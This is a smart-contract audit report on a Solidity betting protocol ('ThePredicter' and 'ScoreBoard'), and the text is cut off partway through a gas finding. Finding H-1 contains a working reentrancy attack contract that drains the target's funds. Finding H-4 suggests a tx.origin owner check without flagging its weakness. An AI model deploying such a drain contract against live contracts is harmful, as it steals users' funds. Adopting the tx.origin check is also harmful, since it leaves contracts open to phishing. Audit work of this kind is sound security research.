Protocol Audit Report

Version 1.0

Akshat

July 27, 2024

Protocol Audit Report

Akshat

July 27, 2024

Prepared by: Akshat Lead Auditors: - Akshat

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings

Protocol Summary

Protocol allows users to register by paying a entrance fee , and if they are approved by the organiser to be a player , you can bet on 9 matches(by giving prediction fee for each match) , and in the end you can get rewards if you are eligible for them. If you are not approved to be a player , you can withdraw your entrance fee. The rewards will be distributed on the basis of entrance fee , and all the prediction fee can be withdrawn by the owner/organiser.

Disclaimer

The AKSHAT team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- The latest commit hash has been used for auditing.

Scope

```
src
|-- Scoreboard.sol
|-- ThePredicter.sol
```

Roles

The protocol have the following roles: Organizer, User and Player. Everyone can be a User and after approval of the Organizer can become a Player

Executive Summary

This was my first First Flight , had a lot of fun understanding and messing around with the codebase , and I hope that my findings help in making this protocol a bit safer.

Issues found

Severity	Number of issues found
High	6
Medium	2
Low	2
Gas	6
Info	2
Total	18

Findings

High

[H-1] `ThePredicter::cancelRegistration` has potential re-entrancy bug , allowing malicious user to drain the contract's balance

Description: `ThePredicter::cancelRegistration` function does not follow CEI(Checks,Effects,Interactions) , and makes a external call to a address before updating the state , allowing a malicious user to re-enter the same function and eventually withdraw all the funds of the contract.

```
    function cancelRegistration() public {
        if (playersStatus[msg.sender] == Status.Pending) {
            (bool success, ) = msg.sender.call{value: entranceFee}("");
            require(success, "Failed to withdraw");
            playersStatus[msg.sender] = Status.Canceled;
            return;
        }
        revert ThePredicter__NotEligibleForWithdraw(); // e if you have been made a player , then you cant withdraw
    }
```

Impact: A malicious user may drain the contract's balance

Proof of Concept: 1. 20 people enter the raffle 2. Attacker enters and immediately cancels their registration 3. Their fallback/receive function is malicious and cancels the registration again 4. This goes on in a loop until all the balance of the contract has been drained

PoC

Place the following test and contract into your test suite

```
    function test_ReentrancyInCancelRegistration() public
    {
        for (uint256 i = 0; i < 20; ++i) {
            address user = makeAddr(string.concat("user", Strings.toString(i)));
            vm.startPrank(user);
            vm.deal(user, 1 ether);
            thePredicter.register{value: 0.04 ether}();
            vm.stopPrank();
        }

        AttackCancelRegistration attackContract = new AttackCancelRegistration(thePredicter);
        address attacker = makeAddr("attacker");
        hoax(attacker, 0.04 ether);

        uint256 startingPredicterBalance = address(thePredicter).balance;
        uint256 startingAttackContractBalance = address(attackContract).balance;
        // attack :)
        attackContract.attack{value: 0.04 ether}();

        uint256 endingPredicterBalance = address(thePredicter).balance;
        uint256 endingAttackContractBalance = address(attackContract).balance;

        console.log("startingPredicterBalance" , startingPredicterBalance);
        console.log("startingAttackContractBalance" , startingAttackContractBalance);
        console.log("endingPredicterBalance" , endingPredicterBalance);
        console.log("endingAttackContractBalance" , endingAttackContractBalance);

        assert(endingPredicterBalance == 0);
        assert(endingAttackContractBalance - startingAttackContractBalance - 0.04 ether == startingPredicterBalance);
    }

```

```
contract AttackCancelRegistration{
    ThePredicter thePredicter;
    constructor(ThePredicter _thePredicter)
    {
        thePredicter = _thePredicter;
    }
    function attack() public payable
    {
        thePredicter.register{value: 0.04 ether}(); // this and the next call will be made by address(this)
        thePredicter.cancelRegistration();
    }
    function stealMoney() internal
    {
        if(address(thePredicter).balance >= 0.04 ether)
        {
            thePredicter.cancelRegistration();
        }
    }
    fallback() external payable
    {
        stealMoney();
    }
    receive() external payable
    {
        stealMoney();
    }
}
```

Recommended Mitigation: 1. Follow CEI , and make the external call after changing the state

```
    function cancelRegistration() public {
        if (playersStatus[msg.sender] == Status.Pending) {
-           (bool success, ) = msg.sender.call{value: entranceFee}("");
-           require(success, "Failed to withdraw");
            playersStatus[msg.sender] = Status.Canceled;
+           (bool success, ) = msg.sender.call{value: entranceFee}("");
+           require(success, "Failed to withdraw");
            return;
        }
        revert ThePredicter__NotEligibleForWithdraw(); // e if you have been made a player , then you cant withdraw
    }
```

1. Use re-entrancy lock by Open-zeppelin

[H-2] `ScoreBoard::setThePredicter` function is never called in `ThePredicter` contract , so we cannot access `ScoreBoard::confirmPredictionPayment` and `ScoreBoard::clearPredictionsCount` functions

Description: `ScoreBoard` contract contains `thePredicter` which refers to `ThePredicter` contract and is set via the `ScoreBoard::setThePredicter` function , which allows `ThePredicter` to access `ScoreBoard::confirmPredictionPayment` and `ScoreBoard::clearPredictionsCount` functions via the `onlyThePredicter` modifier. But `ScoreBoard::setThePredicter` function is never called in `ThePredicter` contract , so we cannot access `ScoreBoard::confirmPredictionPayment` and `ScoreBoard::clearPredictionsCount` functions

```
=>  address thePredicter;
    .
    .
    .

    modifier onlyThePredicter() {
=>      if (msg.sender != thePredicter) {
            revert ScoreBoard__UnauthorizedAccess();
        }
        _;
    }
    .
    .
    .

    function confirmPredictionPayment(
        address player,
        uint256 matchNumber
=>  ) public onlyThePredicter {
        playersPredictions[player].isPaid[matchNumber] = true;
    }

    .
    .
    .

=>  function clearPredictionsCount(address player) public onlyThePredicter {
        playersPredictions[player].predictionsCount = 0;
    }
```

Impact: When `ThePredicter::makePrediction` function is called , it calls `ScoreBoard::confirmPredictionPayment` and `ScoreBoard::clearPredictionsCount` , which would fail since `ThePredicter` contract is not set as `thePredicter`.

Recommended Mitigation: Call the `ScoreBoard::setThePredicter` function in the constructor of `ThePredicter` which would allow access to `ScoreBoard::confirmPredictionPayment` and `ScoreBoard::clearPredictionsCount` functions.

```
    constructor(
        address _scoreBoard,
        uint256 _entranceFee,
        uint256 _predictionFee
    ) {
        organizer = msg.sender;
        scoreBoard = ScoreBoard(_scoreBoard);
        entranceFee = _entranceFee;
        predictionFee = _predictionFee;
+       scoreBoard.setThePredicter(address(this));
    }
```

IMP NOTE:: This method won't work until you address issue number H-4 and its corresponding mitigations.

In your test suite , you have called the same function in the `setUp` hence you dont see any errors in your tests , but in production this function needs to be called inside `ScoreBoard` itself to prevent any errors. If you remove the following statement from your `ThePredicter.test.sol :: setUp`, you will see `ThePredicter::makePrediction` function to revert.

```
    function setUp() public {
        vm.startPrank(organizer);
        scoreBoard = new ScoreBoard();
        thePredicter = new ThePredicter(
            address(scoreBoard),
            0.04 ether,
            0.0001 ether
        );
=>      scoreBoard.setThePredicter(address(thePredicter));
        vm.stopPrank();
    }
```

[H-3] `ThePredicter::withdrawPredictionFees` incorrectly calculates fees to be withdrawn be the Organiser , causing users entranceFee to be lost

Description: The `ThePredicter::withdrawPredictionFees` function has the following line

```
    uint256 fees = address(this).balance - players.length * entranceFee
        ;
```

Now , the balance of the `ThePredicter` contract is consisted of 3 components - Prediction fees of all users - Entrance fee of the players - Entrance fee of the users , who werent approved to be players and still haven't withdrawn their entrance fee.

The above line of code essentially ignores this third component , which may lead to loss of entrance fee.

Impact: Lets consider 2 scenarios

1. Let there is one user who wasnt approved to be player and hasn't withdrawn their fee yet. Let the owner withdraw the fees . At this point , the balance of contract is `players.length * entranceFee`. Then rewards were distributed to the players. In this scenario , now the balance of the contract is 0 and the user who now wants to withdraw his entrance fee CANNOT do so.
2. Again , Let there is one user who wasn't approved to be player and hasn't withdrawn their fee yet. Let the owner withdraw the fees . At this point , the balance of contract is `players.length * entranceFee`. Now suppose the user wants to withdraw their entrance fee . They can do so as the balance of the contract allows it . Now balance of contract is `(players.length * entranceFee)- entranceFee` . Now the rewards distribution calculation REQUIRES balance to be `players.length * entranceFee` , as the following line from `ThePredicter::withdraw` shows:

```
    reward = maxScore < 0
            ? entranceFee
            : (shares * players.length * entranceFee) / totalShares;
```

`ThePredicter::withdraw` function is such that each player will come and have their reward transferred to them if they are eligible for it. Clearly , all the rewards will sum up to `players.length * entranceFee`. But if the balance of contract is `(players.length * entranceFee)- entranceFee`, the `.call` to one of the winners WILL FAIL due to insufficient balance , leading to the winners not being able to collect the reawrds they were eligible for.

Proof of Concept:

PoC

Place the following two tests into your `ThePredicter.test.sol` test suite

```
    function test_withdrawPredictionFees_1() public
    {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        address stranger4 = makeAddr("stranger4");
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger4);
        vm.deal(stranger4, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3); // dont approve stranger4
        vm.stopPrank();

        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.withdraw();
        vm.stopPrank();
        assertEq(stranger2.balance, 0.9997 ether);

        vm.startPrank(stranger3);
        thePredicter.withdraw();
        vm.stopPrank();
        assertEq(stranger3.balance, 1.0397 ether);

        assertEq(address(thePredicter).balance, 0 ether);

        // stranger 4 is still a USER and not a PLAYER , so according to documentation , he should be able to withdraw his entrance fee but they cant as showed :-

        vm.expectRevert("Failed to withdraw");
        vm.prank(stranger4);
        thePredicter.cancelRegistration();
```

```
    }

    function test_withdrawPredictionFees_2() public
    {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        address stranger4 = makeAddr("stranger4");
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger4);
        vm.deal(stranger4, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3); // dont approve stranger4
        vm.stopPrank();

        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.withdraw();
        vm.stopPrank();
        assertEq(stranger2.balance, 0.9997 ether);

        vm.prank(stranger4);
        thePredicter.cancelRegistration();
```

```

        vm.startPrank(stranger3);
        vm.expectRevert("Failed to withdraw");
        thePredicter.withdraw();
        vm.stopPrank();

    }
```

Recommended Mitigation: Store all the prediction fees in a variable , increment it whenever a player makes a prediction , and withdraw that amount in the `ThePredicter::withdrawPredictionFees` function . Remember to reset that variable to `0` after withdrawing the prediction fees.

[H-4] `ThePredicter` is not set as the owner in `ScoreBoard` hence cannot access the `onlyOwner` functions of `ScoreBoard`.

Description: `ScoreBoard` contract has a role called `owner` and a modifier `onlyOwner` which sets access controls for some functions. Now , we will have to call `ScoreBoard::setThePredicter` and `ScoreBoard::setResult` functions via our `ThePredicter` contract. For that our `ThePredicter` contract should be the owner of `ScoreBoard` contract , which isn't the case here.

Impact: `ScoreBoard::setThePredicter` and `ScoreBoard::setResult` functions functions cannot be called via `ThePredicter` contract

Recommended Mitigation: 1. Currently we are using the address of an already deployed `ScoreBoard` contract and using it's instance in `ThePredicter` contract to call all the functions we want. Rather , we can deploy a new `ScoreBoard` contract from the constructor of `ThePredicter` contract. This way , `ThePredicter` contract will become the owner of `ScoreBoard` and we would be able to call the `onlyOwner` functions.

```
    constructor(
-       address _scoreBoard,
        uint256 _entranceFee,
        uint256 _predictionFee
    ) {
        organizer = msg.sender;
-       scoreBoard = ScoreBoard(_scoreBoard);
+       scoreBoard = new ScoreBoard();
        entranceFee = _entranceFee;
        predictionFee = _predictionFee;
    }
```

One potential flaw in this method/mitigation is that you lose direct control over `ScoreBoard` contract , and whenever you want to interact with it , you have to do it via `ThePredicter` contract.

2. (less recommended) Let your address is `_address` . Deploy both the contracts with `_address` , so `_address` will become the owner of `ScoreBoard`. Now in the `onlyOwner` modifier , change `msg.sender` to `tx.origin` , so whenever I use `ScoreBoard` contract with my `_address` address to call `onlyOwner` functions of `ScoreBoard` , the `tx.origin` will be `_address` , and the `onlyOwner` modifier will not revert.

```
    modifier onlyOwner() {
-           if (msg.sender != owner) {
+           if (tx.origin != owner) {
                revert ScoreBoard__UnauthorizedAccess();
            }
            _;
    }
```

This method is less recommended as it requires you to deploy both contracts with the same address and pass the address of `ScoreBoard` contract into the constructor of `ThePredicter` contract , whereas the first method/mitigation just deploys a new contract.

[H-5] Incorrect comparision of time for making a Prediction in `ScoreBoard::setPrediction`

Description: The formula used following is wrong as per the documentation

```
function setPrediction(
        address player,
        uint256 matchNumber,
        Result result
    ) public {
=>      if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
            playersPredictions[player].predictions[matchNumber] = result;
        playersPredictions[player].predictionsCount = 0;
        for (uint256 i = 0; i < NUM_MATCHES; ++i) {
            if (
                playersPredictions[player].predictions[i] != Result.Pending &&
                playersPredictions[player].isPaid[i]
            ) ++playersPredictions[player].predictionsCount;
        }
    }
```

Similar mistake in `ThePredicter::makePrediction`:

```
function makePrediction(
        uint256 matchNumber,
        ScoreBoard.Result prediction
```

```
    ) public payable {
        if (msg.value != predictionFee) {
            revert ThePredicter__IncorrectPredictionFee();
        }

=>      if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
            revert ThePredicter__PredictionsAreClosed();
        }

        scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
        scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
    }
```

As per the above formula: For matchNumber = 0 , you can make a bet only till 19 hrs before START_TIME , i.e. , 1 AM 15 Aug,2024 UTC For matchNumber = 1 , you can make a bet till START_TIME , i.e. , 8 PM 15 Aug,2024 UTC For matchNumber = 2 , you can make a bet only till 19 hrs after START_TIME , i.e. , 3 PM 16 Aug,2024 UTC . . .

But according to documentation , we can make a bet till 7 PM on the day of the match , which is obviously not the case here

Impact: People will not be able to place bets in the timeframe that the protocol tells them, causing confusion and decreased user participation

Proof of Concept:

PoC

Place the following test into `ThePredicter.test.sol`

```
    function test_setPredictionHasIncorrectTimeChecks() public
    {
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        vm.stopPrank();

        vm.warp(1723744800); // 15 August 2024 18:00:00 UTC
        vm.prank(stranger);
        vm.expectRevert(
            abi.encodeWithSelector(ThePredicter__PredictionsAreClosed.selector)
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            0,
            ScoreBoard.Result.Draw
        );

        vm.warp(1723831200); // 16 August 2024 18:00:00 UTC
        vm.prank(stranger);
        vm.expectRevert(
            abi.encodeWithSelector(ThePredicter__PredictionsAreClosed.selector)
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
    }
```

Recommended Mitigation: Change the formula

```
function setPrediction(
        address player,
        uint256 matchNumber,
        Result result
    ) public {
-      if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
+      if(block.timestamp <= START_TIME + matchNumber*86400 - 3600)
            playersPredictions[player].predictions[matchNumber] = result;
        playersPredictions[player].predictionsCount = 0;
        for (uint256 i = 0; i < NUM_MATCHES; ++i) {
            if (
                playersPredictions[player].predictions[i] != Result.Pending &&
                playersPredictions[player].isPaid[i]
            ) ++playersPredictions[player].predictionsCount;
        }
    }
```

```
function makePrediction(
        uint256 matchNumber,
        ScoreBoard.Result prediction
    ) public payable {
        if (msg.value != predictionFee) {
            revert ThePredicter__IncorrectPredictionFee();
        }

-       if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
+      if(block.timestamp > START_TIME + matchNumber*86400 - 3600){
            revert ThePredicter__PredictionsAreClosed();
        }

        scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
        scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
    }
    }
```

Explanation - `−3600` is to decrease time by 1 hr - `matchNumber*86400` will move time ahead by 86400 seconds(i.e. 24 hrs) each day - Since `START_TIME` represents 8 PM on 15 Aug,2024 UTC , this formula will allow betting till 7 PM UTC on 15 Aug , 16 Aug , …

[H-6] `ThePredicter::withdraw` function skips the case of `maxScore == 0` , leading to loss of funds .

Description: `ThePredicter::withdraw` function is about players calling it and getting the reward if they are eligible for it. But it skips the case where `maxScore` equals 0 , essentially making the `reward` variable 0 till the end of the function , and the winner wouldnt get any funds.

Impact: All the winners wouldnt get any funds if `maxScore == 0`

Proof of concept:

PoC

Place the following test into `ThePredicter.test.sol`

```
    function test_withdrawIgnoresOneEdgeCase() public
    {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3);
        vm.stopPrank();

        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Second
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.Second
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Second
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(stranger);
        vm.expectRevert(); // will revert as maxScore(or totalShares) = 0 , and formula of reward is reward = maxScore <= 0 ? entranceFee : (shares * players.length * entranceFee) / totalShares; ---> here division by 0 will occur hence it will revert.
        thePredicter.withdraw();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.expectRevert();
        thePredicter.withdraw();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.expectRevert();
        thePredicter.withdraw();
        vm.stopPrank();
    }
```

Recommended Mitigation: If `maxScore == 0`, it means all players have `score` <= 0 , hence according to documentation , they must get back their entrance fee. To allow this functionality , make the following change in the reward calculation logic in the `ThePredicter::withdraw` function.

```
-   reward = maxScore < 0
+   reward = maxScore <= 0
           ? entranceFee
           : (shares * players.length * entranceFee) / totalShares;
```

Medium

[M-1] Incorrect comparision in `ScoreBoard::isEligibleForReward` function , making players with 1 prediction not eligible for reward

Description: The following line of code requires a player to have more than 1 prediction to be not eligible for reward , however the documentation states that a player with one or more than one prediction should be eligible for rewards.

```
function isEligibleForReward(address player) public view returns (bool) {
        return
            results[NUM_MATCHES - 1] != Result.Pending &&
=>          playersPredictions[player].predictionsCount > 1;
    }
```

Impact: The player who has made only 1 prediction in all the matches will not be eligible for rewards.

Recommended Mitigation: Make the following changes in the inequality

```
function isEligibleForReward(address player) public view returns (bool) {
        return
            results[NUM_MATCHES - 1] != Result.Pending &&
-           playersPredictions[player].predictionsCount > 1;
+           playersPredictions[player].predictionsCount >= 1;
    }
```

[M-2] `ThePredicter` has 3 functions which make external low level calls to address to send money , which may fail

Description: The following 3 functions make external call to addresses to send money

1.

```
    function cancelRegistration() public {
        if (playersStatus[msg.sender] == Status.Pending) {
=>          (bool success, ) = msg.sender.call{value: entranceFee}("");
            require(success, "Failed to withdraw");
            playersStatus[msg.sender] = Status.Canceled;
            return;
        }
        revert ThePredicter__NotEligibleForWithdraw();
    }
```

2.

```
    function withdrawPredictionFees() public {
        if (msg.sender != organizer) {
            revert ThePredicter__NotEligibleForWithdraw();
        }

        uint256 fees = address(this).balance - players.length * entranceFee;
=>      (bool success, ) = msg.sender.call{value: fees}("");
```

```
        require(success, "Failed to withdraw");
    }
```

3.

```
    function withdraw() public {
        .
        .
        .
        .
        if (reward > 0) {
            scoreBoard.clearPredictionsCount(msg.sender);
=>          (bool success, ) = msg.sender.call{value: reward}("");
            require(success, "Failed to withdraw");
        }
    }
```

Users/Players/Organiser may have used a smart contract address to enter , and that contract may knowingly or unknowingly have a missing/incorrect/malicious `receive`/`fallback` function and the call may fail

Impact: Users/Players/Organiser may not be able to receive the funds they are eligible to if their `receive`/`fallback` is absent or messed up.

Recommended Mitigation: Allow Users/Players/Organiser to pull their funds for themselves instead to sending it to them. > PULL OVER PUSH

Low

[L-1] Should have different names for access controls in `ScoreBoard` contract

Description: `ScoreBoard` has `ScoreBoard__UnauthorizedAccess` errorand is used at 2 different modifiers , `onlyOwner` and `onlyThePredicter` . Whenever these modifiers revert , they revert with `ScoreBoard__UnauthorizedAccess` which may cause some confusion which modifier actually reverted the transaction.

```
=>   error ScoreBoard__UnauthorizedAccess();

    modifier onlyOwner() {
        if (msg.sender != owner) {
=>          revert ScoreBoard__UnauthorizedAccess();
        }
        _;
    }

    modifier onlyThePredicter() {
        if (msg.sender != thePredicter) {
=>          revert ScoreBoard__UnauthorizedAccess();
        }
        _;
    }
```

Impact: Whenever these modifiers revert , they revert with `ScoreBoard__UnauthorizedAccess` which may cause some confusion which modifier actually reverted the transaction.

Recommended Mitigation: Use two different errors for both modifiers

```
-    error ScoreBoard__UnauthorizedAccess();
+    error ScoreBoard__NotTheOwner();
+    error ScoreBoard__NotThePredicter();

    modifier onlyOwner() {
        if (msg.sender != owner) {
-           revert ScoreBoard__UnauthorizedAccess();
+           revert ScoreBoard__NotTheOwner();
        }
        _;
    }

    modifier onlyThePredicter() {
        if (msg.sender != thePredicter) {
-           revert ScoreBoard__UnauthorizedAccess();
+           revert ScoreBoard__NotThePredicter();
        }
        _;
    }
```

[L-2] Necessary events should be emmitted , making the protocol more transparent and makes off-chain monitoring easier

Description: The following functions should emit necessary events : `ScoreBoard::setThePredicter` , `ScoreBoard::setResult` , `ScoreBoard::confirmPredictionPayment` , `ScoreBoard::setPrediction` , `ScoreBoard::clearPredictionsCount` , `ThePredicter::register` , `ThePredicter::cancelRegistration` , `ThePredicter::approvePlayer` , `ThePredicter::makePrediction` , `ThePredicter::withdrawPredictionFees` , `ThePredicter::withdraw`

Impact: Protocol is less transparent and is difficult for nodes monitoring this protocol to check whether a particular function has been exexuted successfully or not

Recommended Mitigation: Emit neccessary events if a function is executed successfully.

Gas

[G-1] Variables which are only set once should be declared immutable

Description: State variables whose value are only set once and then stay same for the rest of the contract should be decalred immutable , as reading from and writing to storage costs a lot of gas

Instances - ThePredictor.sol - address owner ScoreBoard.sol - address public organizer; - uint256 public entranceFee; - uint256 public predictionFee;

Impact: Higher gas will be used

Recommended Mitigation: Declare the above mentioned variables as immutable

[G-2] `ThePredicter::makePrediction` makes a timestamp check , and calls `ScoreBoard::setPrediction` which makes the same check

Description: `ThePredicter::makePrediction` makes a timestamp check , and calls `ScoreBoard::setPrediction` which makes the same check

```
     function makePrediction(
        uint256 matchNumber,
        ScoreBoard.Result prediction
    ) public payable {
        if (msg.value != predictionFee) {
            revert ThePredicter__IncorrectPredictionFee();
        }

=>      if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
     {
            revert ThePredicter__PredictionsAreClosed();
        }

        scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
        scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
    }
```

```
    function setPrediction(
        address player,
        uint256 matchNumber,
        Result result
    ) public {
=>      if (block.timestamp <= START_TIME + matchNumber * 68400 -
    68400)
            playersPredictions[player].predictions[matchNumber] =
                result;
        playersPredictions[player].predictionsCount = 0;
        for (uint256 i = 0; i < NUM_MATCHES; ++i) {
            if (
                playersPredictions[player].predictions[i] != Result.
                    Pending &&
                playersPredictions[player].isPaid[i]
            ) ++playersPredictions[player].predictionsCount;
        }
    }
```

Impact: Making the same exact check twice just causes more gas and clutters up the codebase

Recommended Mitigation: Remove the check from `ScoreBoard::setPrediction` function

```
    function setPrediction(
        address player,
        uint256 matchNumber,
        Result result
    ) public {
-       if (block.timestamp <= START_TIME + matchNumber * 68400 -
    68400)
            playersPredictions[player].predictions[matchNumber] =
                result;
        playersPredictions[player].predictionsCount = 0;
        for (uint256 i = 0; i < NUM_MATCHES; ++i) {
            if (
                playersPredictions[player].predictions[i] != Result.
                    Pending &&
                playersPredictions[player].isPaid[i]
            ) ++playersPredictions[player].predictionsCount;
        }
    }
```

[G-3] Remove unused enum states in `ThePredicter::Status` enum

```
    enum Status {
-       Unknown,
        Pending,
        Approved,
        Canceled
    }
```

This `Unknown` state is used nowhere and is of no relevance to the protocol so should be removed.

[G-4] `ThePredicter::withdraw` function runs a loop and reads from storage in each iteration , causing a lot of gas

```
+   uint256 numPlayers =  players.length;
+   for (uint256 i = 0; i < numPlayers; ++i) {
